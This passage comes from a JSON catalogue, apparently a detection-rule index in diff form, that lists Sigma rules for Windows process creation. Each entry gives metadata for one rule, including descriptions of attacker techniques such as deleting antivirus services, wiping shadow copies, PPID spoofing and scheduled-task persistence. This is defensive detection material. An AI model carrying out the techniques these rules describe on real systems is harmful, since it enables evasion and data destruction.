"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_rurat.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.collection", - "attack.command_and_control", - "attack.discovery", - "attack.s0592" - ], - "creation_date": "2022/09/19", - "filename": "proc_creation_win_renamed_rurat.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of a renamed SysInternals Sdelete, which is something an administrator shouldn't do (the renaming)", - "uuid": "c1d867fe-8d95-4487-aab4-e53f2d339f90", - "value": "Renamed Sysinternals Sdelete Usage", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_sdelete.yml" - ], - "tags": [ - "attack.impact", - "attack.t1485" - ], - "creation_date": "2022/09/06", - "filename": "proc_creation_win_renamed_sdelete.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "System administrator usage" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects renamed vmnat.exe or portable version that can be used for DLL side-loading", - "uuid": "7b4f794b-590a-4ad4-ba18-7964a2832205", - "value": "Renamed or Portable Vmnat.exe", - "meta": { - "refs": [ - "https://twitter.com/malmoeb/status/1525901219247845376", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_vmnat.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ], - "creation_date": "2022/09/09", - "filename": "proc_creation_win_renamed_vmnat.yml", - "author": "elhoim", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of whoami that has been renamed to a different name to avoid detection", - "uuid": "f1086bf7-a0c4-4a37-9102-01e573caf4a0", - "value": "Renamed Whoami Execution", - "meta": { - "refs": [ - "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", - "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_whoami.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1033", - "car.2016-03-001" - ], - "creation_date": "2021/08/12", - "filename": "proc_creation_win_renamed_whoami.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.", - "uuid": "46591fae-7a4c-46ea-aec3-dff5e6d785dc", - "value": "Root Certificate Installed", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_root_certificate_installed.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1553.004" - ], - "creation_date": "2020/10/10", - "filename": "proc_creation_win_root_certificate_installed.yml", - "author": "oscd.community, @redcanary, Zach Stanford @svch0st", - "level": "medium", - "falsepositive": [ - "Help Desk or IT may need to manually add a corporate Root CA on occasion. Need to test if GPO push doesn't trigger FP" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious remote procedure call (RPC) service anomalies based on the spawned sub processes (long shot to detect the exploitation of vulnerabilities like CVE-2022-26809)", - "uuid": "a7cd7306-df8b-4398-b711-6f3e4935cf16", - "value": "Remote Procedure Call Service Anomaly", - "meta": { - "refs": [ - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26809", - "https://www.bleepingcomputer.com/startups/RpcSs.exe-14544.html", - "https://twitter.com/cyb3rops/status/1514217991034097664", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rpcss_anomalies.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "attack.execution", - "attack.t1569.002" - ], - "creation_date": "2022/04/13", - "filename": "proc_creation_win_rpcss_anomalies.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown", - "Some cases in which the service spawned a werfault.exe process" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects rundll32.exe executing from an abnormal drive such as a mounted ISO.", - "uuid": "d4ca7c59-e9e4-42d8-bf57-91a776efcb87", - "value": "Rundll32 From Abnormal Drive", - "meta": { - "refs": [ - "https://thedfirreport.com/2021/12/13/diavol-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_not_from_c_drive.yml" - ], - "tags": [ - "attack.t1218.001" - ], - "creation_date": "2022/01/25", - "filename": "proc_creation_win_rundll32_not_from_c_drive.yml", - "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", - "level": "medium", - "falsepositive": [ - "Rare false positives could occur on servers with multiple drives." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious start of rundll32.exe with a parent process of Explorer.exe. Variant of Raspberry Robin, as first reported by Red Canary.", - "uuid": "1723e720-616d-4ddc-ab02-f7e3685a4713", - "value": "Rundll32 With Suspicious Parent Process", - "meta": { - "refs": [ - "https://redcanary.com/blog/raspberry-robin/", - "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_parent_explorer.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/05/21", - "filename": "proc_creation_win_rundll32_parent_explorer.yml", - "author": "CD_ROM_", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "load malicious registered COM objects", - "uuid": "f1edd233-30b5-4823-9e6a-c4171b24d316", - "value": "Rundll32 Registered COM Objects", - "meta": { - "refs": [ - "https://nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.015/T1546.015.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_registered_com_objects.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.persistence", - "attack.t1546.015" - ], - "creation_date": "2022/02/13", - "filename": "proc_creation_win_rundll32_registered_com_objects.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects rundll32 execution where the DLL is located on a remote location (share)", - "uuid": "5cdb711b-5740-4fb2-ba88-f7945027afac", - "value": "Rundll32 UNC Path Execution", - "meta": { - "refs": [ - "https://www.cybereason.com/blog/rundll32-the-infamous-proxy-for-executing-malicious-code", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_unc_path.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1021.002", - "attack.t1218.011" - ], - "creation_date": "2022/08/10", - "filename": "proc_creation_win_rundll32_unc_path.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects rundll32 execution without parameters as observed when running Metasploit windows/smb/psexec exploit module", - "uuid": "5bb68627-3198-40ca-b458-49f973db8752", - "value": "Rundll32 Without Parameters", - "meta": { - "refs": [ - "https://bczyz1.github.io/2021/01/30/psexec.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_without_parameters.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002", - "attack.t1570", - "attack.execution", - "attack.t1569.002" - ], - "creation_date": "2021/01/31", - "filename": "proc_creation_win_rundll32_without_parameters.yml", - "author": "Bartlomiej Czyz, Relativity", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of rundll32 with a command line that doesn't contain a .dll file", - "uuid": "c3a99af4-35a9-4668-879e-c09aeb4f2bdf", - "value": "Rundll32 Execution Without DLL File", - "meta": { - "refs": [ - "https://twitter.com/mrd0x/status/1481630810495139841?s=12", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_executable_invalid_extension.yml" - ], - "tags": "No established tags", - "creation_date": "2022/01/13", - "filename": "proc_creation_win_run_executable_invalid_extension.yml", - "author": "Tim Shelton, Florian Roth, Yassine Oukessou (fix + fp)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Payloads may be compressed, archived, or encrypted in order to avoid detection", - "uuid": "1a70042a-6622-4a2b-8958-267625349abf", - "value": "Run from a Zip File", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md#atomic-test-4---execution-from-compressed-file", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_from_zip.yml" - ], - "tags": [ - "attack.impact", - "attack.t1485" - ], - "creation_date": "2021/12/26", - "filename": "proc_creation_win_run_from_zip.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects PowerShell script execution from Alternate Data Stream (ADS)", - "uuid": "45a594aa-1fbd-4972-a809-ff5a99dd81b8", - "value": "Run PowerShell Script from ADS", - "meta": { - "refs": [ - "https://github.com/p0shkatz/Get-ADS/blob/1c3a3562e713c254edce1995a7d9879c687c7473/Get-ADS.ps1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_powershell_script_from_ads.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.004" - ], - "creation_date": "2019/10/30", - "filename": "proc_creation_win_run_powershell_script_from_ads.yml", - "author": "Sergey Soldatov, Kaspersky Lab, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects PowerShell script execution via input stream redirect", - "uuid": "c83bf4b5-cdf0-437c-90fa-43d734f7c476", - "value": "Run PowerShell Script from Redirected Input Stream", - "meta": { - "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Powershell.yml", - "https://twitter.com/Moriarty_Meng/status/984380793383370752", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_powershell_script_from_input_stream.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1059" - ], - "creation_date": "2020/10/17", - "filename": "proc_creation_win_run_powershell_script_from_input_stream.yml", - "author": "Moriarty Meng (idea), Anton Kutepov (rule), oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries can carry out malicious operations using a virtual instance to avoid detection. This rule is built to detect the registration of the Virtualbox driver or start of a Virtualbox VM.", - "uuid": "bab049ca-7471-4828-9024-38279a4c04da", - "value": "Detect Virtualbox Driver Installation OR Starting Of VMs", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1564/006/", - "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", - "https://threatpost.com/maze-ransomware-ragnar-locker-virtual-machine/159350/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_virtualbox.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.006", - "attack.t1564" - ], - "creation_date": "2020/09/26", - "filename": "proc_creation_win_run_virtualbox.yml", - "author": "Janantha Marasinghe", - "level": "low", - "falsepositive": [ - "This may have false positives on hosts where Virtualbox is legitimately being used for operations" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of a schtask that executes a file from C:\\Users\\\\AppData\\Local", - "uuid": "c5c00f49-b3f9-45a6-997e-cfdecc6e1967", - "value": "Suspicious Schtasks Execution AppData Folder", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_appdata_local_system.yml" - ], - "tags": [ - "attack.execution", - "attack.persistence", - "attack.t1053.005", - "attack.t1059.001" - ], - "creation_date": "2022/03/15", - "filename": "proc_creation_win_schtasks_appdata_local_system.yml", - "author": "pH-T, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects scheduled task creation events that include suspicious actions, and is run once at 00:00", - "uuid": "970823b7-273b-460a-8afc-3a6811998529", - "value": "Uncommon Scheduled Task Once 00:00", - "meta": { - "refs": [ - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_once_0000.yml" - ], - "tags": "No established tags", - "creation_date": "2022/07/15", - "filename": "proc_creation_win_schtasks_once_0000.yml", - "author": "pH-T", - "level": "high", - "falsepositive": [ - "Software installation" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious powershell execution that ends with a common flag instead of a command or a filename to execute (could be a sign of implicit execution that uses files in WindowsApps directory)", - "uuid": "b66474aa-bd92-4333-a16c-298155b120df", - "value": "Suspicious Powershell No File or Command", - "meta": { - "refs": [ - "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_powershell_windowsapps_execution.yml" - ], - "tags": [ - "attack.execution", - "attack.persistence", - "attack.t1053.005", - "attack.t1059.001" - ], - "creation_date": "2022/04/08", - "filename": "proc_creation_win_schtasks_powershell_windowsapps_execution.yml", - "author": "pH-T, Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of a schtask that executes a base64 encoded payload stored in the Windows Registry using PowerShell.", - "uuid": "c4eeeeae-89f4-43a7-8b48-8d1bdfa66c78", - "value": "Scheduled Task Executing Powershell Encoded Payload from Registry", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_reg_loader.yml" - ], - "tags": [ - "attack.execution", - "attack.persistence", - "attack.t1053.005", - "attack.t1059.001" - ], - "creation_date": "2022/02/12", - "filename": "proc_creation_win_schtasks_reg_loader.yml", - "author": "@Kostastsale, @TheDFIRReport, slightly modified by pH-T", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation or update of a scheduled task to run with \"NT AUTHORITY\\SYSTEM\" privileges", - "uuid": "89ca78fd-b37c-4310-b3d3-81a023f83936", - "value": "Schtasks Creation Or Modification With SYSTEM Privileges", - "meta": { - "refs": [ - "https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_system.yml" - ], - "tags": [ - "attack.execution", - "attack.persistence", - "attack.t1053.005" - ], - "creation_date": "2022/07/28", - "filename": "proc_creation_win_schtasks_system.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", - "uuid": "57bff678-25d1-4d6c-8211-8ca106d12053", - "value": "Use of ScreenConnect Remote Access Software", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-5---screenconnect-application-download-and-install-on-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_screenconnect.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ], - "creation_date": "2022/02/13", - "filename": "proc_creation_win_screenconnect.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate usage of the tool" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious sub processes started by the ScreenConnect client service, which indicates the use of the so-called Backstage mode", - "uuid": "7b582f1a-b318-4c6a-bf4e-66fe49bf55a5", - "value": "ScreenConnect Backstage Mode Anomaly", - "meta": { - "refs": [ - "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", - "https://docs.connectwise.com/ConnectWise_Control_Documentation/Get_started/Host_client/View_menu/Backstage_mode", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_screenconnect_anomaly.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ], - "creation_date": "2022/02/25", - "filename": "proc_creation_win_screenconnect_anomaly.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Case in which administrators are allowed to use ScreenConnect's Backstage mode" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious child process of Script Event Consumer (scrcons.exe).", - "uuid": "f6d1dd2f-b8ce-40ca-bc23-062efb686b34", - "value": "Script Event Consumer Spawning Process", - "meta": { - "refs": [ - "https://redcanary.com/blog/child-processes/", - "https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-analytics-alert-reference/cortex-xdr-analytics-alert-reference/scrcons-exe-rare-child-process.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_script_event_consumer_spawn.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ], - "creation_date": "2021/06/21", - "filename": "proc_creation_win_script_event_consumer_spawn.yml", - "author": "Sittikorn S", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects when attackers use \"sc.exe\" to delete AV services from the system in order to avoid detection", - "uuid": "7fd4bb39-12d0-45ab-bb36-cebabc73dc7b", - "value": "Suspicious Execution of Sc to Delete AV Services", - "meta": { - "refs": [ - "https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_delete_av_services.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2022/08/01", - "filename": "proc_creation_win_sc_delete_av_services.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Legitimate software deleting using the same method of deletion (Add it to a filter if you find cases as such)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of \"sc.exe\" to query information about registered services on the system", - "uuid": "57712d7a-679c-4a41-a913-87e7175ae429", - "value": "SC.EXE Query Execution", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1007/T1007.md#atomic-test-1---system-service-discovery", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_query.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1007" - ], - "creation_date": "2021/12/06", - "filename": "proc_creation_win_sc_query.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Legitimate query of a service by an administrator to get more information such as the state or PID" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects installation of a new shim using sdbinst.exe. A shim can be used to load malicious DLLs into applications.", - "uuid": "517490a7-115a-48c6-8862-1a481504d5a8", - "value": "Possible Shim Database Persistence via sdbinst.exe", - "meta": { - "refs": [ - "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdbinst_shim_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1546.011" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_sdbinst_shim_persistence.yml", - "author": "Markus Neis", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "A General detection for sdclt spawning new processes. This could be an indicator of sdclt being used for bypass UAC techniques.", - "uuid": "da2738f2-fadb-4394-afa7-0a0674885afa", - "value": "Sdclt Child Processes", - "meta": { - "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/6", - "https://threathunterplaybook.com/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdclt_child_process.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2020/05/02", - "filename": "proc_creation_win_sdclt_child_process.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of SDelete to erase a file not the free space", - "uuid": "a4824fca-976f-4964-b334-0621379e84c4", - "value": "Sysinternals SDelete Delete File", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdelete.yml" - ], - "tags": [ - "attack.impact", - "attack.t1485" - ], - "creation_date": "2021/06/03", - "filename": "proc_creation_win_sdelete.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "System administrator usage" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects sdiagnhost.exe calling a suspicious child process (e.g. used in exploits for Follina / CVE-2022-30190)", - "uuid": "f3d39c45-de1a-4486-a687-ab126124f744", - "value": "Sdiagnhost Calling Suspicious Child Process", - "meta": { - "refs": [ - "https://twitter.com/nao_sec/status/1530196847679401984", - "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/", - "https://app.any.run/tasks/f420d295-0457-4e9b-9b9e-6732be227583/", - "https://app.any.run/tasks/c4117d9a-f463-461a-b90f-4cd258746798/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdiagnhost_susp_child.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.t1218" - ], - "creation_date": "2022/06/01", - "filename": "proc_creation_win_sdiagnhost_susp_child.yml", - "author": "Nextron Systems", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of parent process ID spoofing tools like Didier Stevens tool SelectMyParent", - "uuid": "52ff7941-8211-46f9-84f8-9903efb7077d", - "value": "PPID Spoofing Tool Usage", - "meta": { - "refs": [ - "https://pentestlab.blog/2020/02/24/parent-pid-spoofing/", - "https://www.picussecurity.com/resource/blog/how-to-detect-parent-pid-ppid-spoofing-attacks", - "https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing", - "https://www.virustotal.com/gui/search/filename%253A*spoof*%2520filename%253A*ppid*/files", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_selectmyparent.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1134.004" - ], - "creation_date": "2022/07/23", - "filename": "proc_creation_win_selectmyparent.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects manual service execution (start) via system utilities.", - "uuid": "2a072a96-a086-49fa-bcb5-15cc5a619093", - "value": "Service Execution", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1569.002/T1569.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_service_execution.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002" - ], - "creation_date": "2019/10/21", - "filename": "proc_creation_win_service_execution.yml", - "author": "Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate administrator or user executes a service for legitimate reasons." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a windows service to be stopped", - "uuid": "eb87818d-db5d-49cc-a987-d5da331fbd90", - "value": "Stop Windows Service", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_service_stop.yml" - ], - "tags": [ - "attack.impact", - "attack.t1489" - ], - "creation_date": "2019/10/23", - "filename": "proc_creation_win_service_stop.yml", - "author": "Jakob Weinzettl, oscd.community, Nasreddine Bencherchali", - "level": "low", - "falsepositive": [ - "Administrator shutting down the service due to upgrade or removal purposes" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects use of executionpolicy option to set insecure policies", - "uuid": "87e3c4e8-a6a8-4ad9-bb4f-46e7ff99a180", - "value": "Change PowerShell Policies to an Insecure Level", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1", - "https://adsecurity.org/?p=2604", - "https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_set_policies_to_unsecure_level.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2021/11/01", - "filename": "proc_creation_win_set_policies_to_unsecure_level.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Administrator script" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil", - "uuid": "21ff4ca9-f13a-41ad-b828-0077b2af2e40", - "value": "Deletion of Volume Shadow Copies via WMI with PowerShell", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", - "https://www.elastic.co/guide/en/security/current/volume-shadow-copy-deletion-via-powershell.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadowcopy_deletion_via_powershell.yml" - ], - "tags": [ - "attack.impact", - "attack.t1490" - ], - "creation_date": "2022/09/20", - "filename": "proc_creation_win_shadowcopy_deletion_via_powershell.yml", - "author": "Tim Rauch", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Shadow Copies storage symbolic link creation using operating systems utilities", - "uuid": "40b19fa6-d835-400c-b301-41f3a2baacaf", - "value": "Shadow Copies Access via Symlink", - "meta": { - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadow_copies_access_symlink.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002", - "attack.t1003.003" - ], - "creation_date": "2019/10/22", - "filename": "proc_creation_win_shadow_copies_access_symlink.yml", - "author": "Teymur Kheirkhabarov, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate administrator working with shadow copies, access for backup purposes" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Shadow Copies creation using operating systems utilities, possible credential access", - "uuid": "b17ea6f7-6e90-447e-a799-e6c0a493d6ce", - "value": "Shadow Copies Creation Using Operating Systems Utilities", - "meta": { - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tutorial-for-ntds-goodness-vssadmin-wmis-ntdsdit-system/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadow_copies_creation.yml" 